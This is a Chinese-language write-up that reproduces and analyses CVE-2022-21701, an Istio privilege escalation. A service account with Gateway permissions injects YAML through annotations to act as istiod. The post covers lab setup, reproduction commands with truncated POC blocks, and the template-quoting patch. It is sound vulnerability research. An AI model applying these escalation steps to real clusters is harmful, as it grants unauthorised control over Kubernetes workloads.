CVE-2022-21701 Istio 提权漏洞复现与分析
Istio [1.12.0,1.12.1] 版本存在提权漏洞,当用户拥有gateways.gateway.networking.k8s.io
资源对象权限时,可以提权到 istiod serviceaccount权限。通过一个漏洞,我们可以学习到一种思路。
1 | https://nvd.nist.gov/vuln/detail/CVE-2022-21701 |
1. 环境搭建
在比较新的k8s版本中 1.12.x 的 Istio 无法安装成功,需要另外选择旧版本的k8s进行安装。
使用k3s安装 v1.22.8 版本的k8s ,下载地址 https://github.com/k3s-io/k3s/releases/download/v1.22.8%2Bk3s1/k3s
1 | root@master:/home/test# chmodx +x k3s |
将另外一台节点加入到集群中:
1 | root@master:/home/test# cat /var/lib/rancher/k3s/server/node-token |
安装完成后查看节点:
1 | root@master:/home/test# k3s kubectl get nodes |
下载istio并解压 https://github.com/istio/istio/releases/download/1.12.0/istio-1.12.0-linux-amd64.tar.gz
1 | cd istio-1.12.0/ |
检查
1 | root@master:/home/test/istio-1.12.0# istioctl x precheck |
Istio 前置检查
1 | root@master:/home/test# istioctl install --set profile=demo -y |
安装Istio
1 | curl -L https://istio.io/downloadIstio | ISTIO_VERSION=1.12.0 TARGET_ARCH=x86_64 proxychains sh - |
查看相关pod情况:
1 | root@master:/home/test# k3s kubectl get pods -A |
networking.istio.io
根据nvd描述可知,拥有 gateways.gateway.networking.k8s.io 对象权限的的角色才会造成越权问题,我们查询一下该资源(CustomResourceDefinitions为api-resources的子集)
1 | root@master:/home/test# kubectl get crd gateways.gateway.networking.k8s.io |
2. 漏洞复现
由于系统默认没有带有 gateways.gateway.networking.k8s.io 权限的 账户,在不使用admin的情况下我们可以选择创建一个进行模拟
1 | k create ns istio-test |
1 | k apply -f - << EOF |
1 | k apply -f - << EOF |
1 | root@master:/home/test# k get gateways -A |
获取token
1 | root@master:/home/test# k get secrets -n istio-test |
可以看到这个sa是没有 pod 资源的CREATE权限的:
1 | test@node01:~$ ./kubectl -s https://192.168.128.131:6443 --insecure-skip-tls-verify=true --token eyJhbGciO... auth can-i --list |
通过如下POC进行越权创建deployment资源
1 | test@node01:~$ ./kubectl -s https://192.168.128.131:6443 --insecure-skip-tls-verify=true --token eyJhbGciO... create -f - << EOF |
相关注入的YAML创建的POD:
1 |
|
越权所用的sa为istiod
1 | # k config set-context default --namespace=istio-system |
istiod权限如下:
1 | test@node01:~$ ./kubectl -s https://192.168.128.131:6443 --insecure-skip-tls-verify=true --token ${TOKEN} auth can-i --list |
istiod sa绑定的clusterrole为istiod-clusterrole-istio-system,我们修改该绑定关系后发现漏洞无法复现,这表明越权后的用户确实为 istiod serviceaccount
1 | k edit clusterrolebinding istiod-clusterrole-istio-system |
1 |
|
3. 关键流程分析
Istio的 AdmissionController 会负责处理 Gateway 类型的资源,gateway 类型的 api-resources 是istio通过k8s 的crd方式创建的,其中,istio会将gateway的CREATE/UPDATE转换为 service 与 deployment 两种资源,其中的注解与标签也会被拷贝过去,而漏洞问题就出现这个数据经过多个不同解析器的过程:istio通过go text/template标准库指定templates/service.yaml
文件为模板 生成 service 资源类型的配置,而模板中用于填充的数据的来源为用户提交的 gateway 配置,gateway配置中的 annotations 字段值恰好没有经过 Validation Admission Policy 的审计 、也没有其他代码层面的过滤、或转义,我们可以通过添加换行字符修改YAML配置结构达到修改 gateway 配置的目的,且权限提升为 istiod serviceaccount。
k8s中的各种资源在被创建或修改更新时,会通过相应的Validation检查这些属性值是否遵循正确的规范、范围,k8s中相应的库为 apimachinery ,针对各种api-resources包括用户自定义的CRD资源后,用户可以通过自定义ValidatingAdmissionPolicy来对其进行规范,如下示例展示了不规范字段值被约束的告警,我们也可以直接以这种方式来测试字段的规范情况:
1 | The Gateway "gatewaytest\\n123" is invalid: metadata.name: Invalid value: "gatewaytest\\n123": a lowercase RFC 1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character (e.g. 'example.com', regex used for validation is '[a-z0-9]([-a-z0-9]*[a-z0-9])?(\.[a-z0-9]([-a-z0-9]*[a-z0-9])?)*') |
我们可以通过源码文件中的单元测试代码来debug从而理解该关键流程:
用于生成service资源配置的 service.yaml
模板文件内容如下,其中的 type
字段通过 index 语法从上下文中获取名称Annotations
的map,并取 key 值为 networking.istio.io/service-type
的 value值,另外其他字段也来源于Gateway且没有经过过滤验证,但由于不在末尾,构建POC比较麻烦:
我们的数据封装为 serviceInput
类型的对象,并应用于service.yaml 模板文件
可以看到,应用模板文件后输出的文本中,我们的换行符改变了yaml文件格式,我们可以尝试定义其他类型的资源,如pod
模板转换成功后通过patcher方法请求apiserver部署资源
patcher方法为抽象方法,对应的实现在NewDeploymentController
初始化代码中,可以看到,其最终调用client,而client为istio启动时的初始化对象,相关参数来源启动参数:
4. 补丁
通过text/template 的 quote 语法让输出的文本自动使用引号包裹,解决换行等字符导致的注入新的YAML结构的问题,除了 type
字段外的多个字段也统一修复:
5. 结语
关于istio是否添加Validation约束Gateway等资源,或添加的内容具体是什么,笔者还不是很清晰,其中通过 k get validatingwebhookconfigurations -o yaml
命令看到的内容可能展示了部分,还待了解整个代码机制。官方也给出了Istio 远程GO DEBUG的参考配置,后续可考虑在此DEBUG环境下做更多了解。总之,由于对完整机制、代码 还未透彻,其中一些漏洞细节分析还是比较粗略。
参考
https://www.anquanke.com/post/id/272528 Go template 遇上 yaml 反序列化 CVE-2022-21701 分析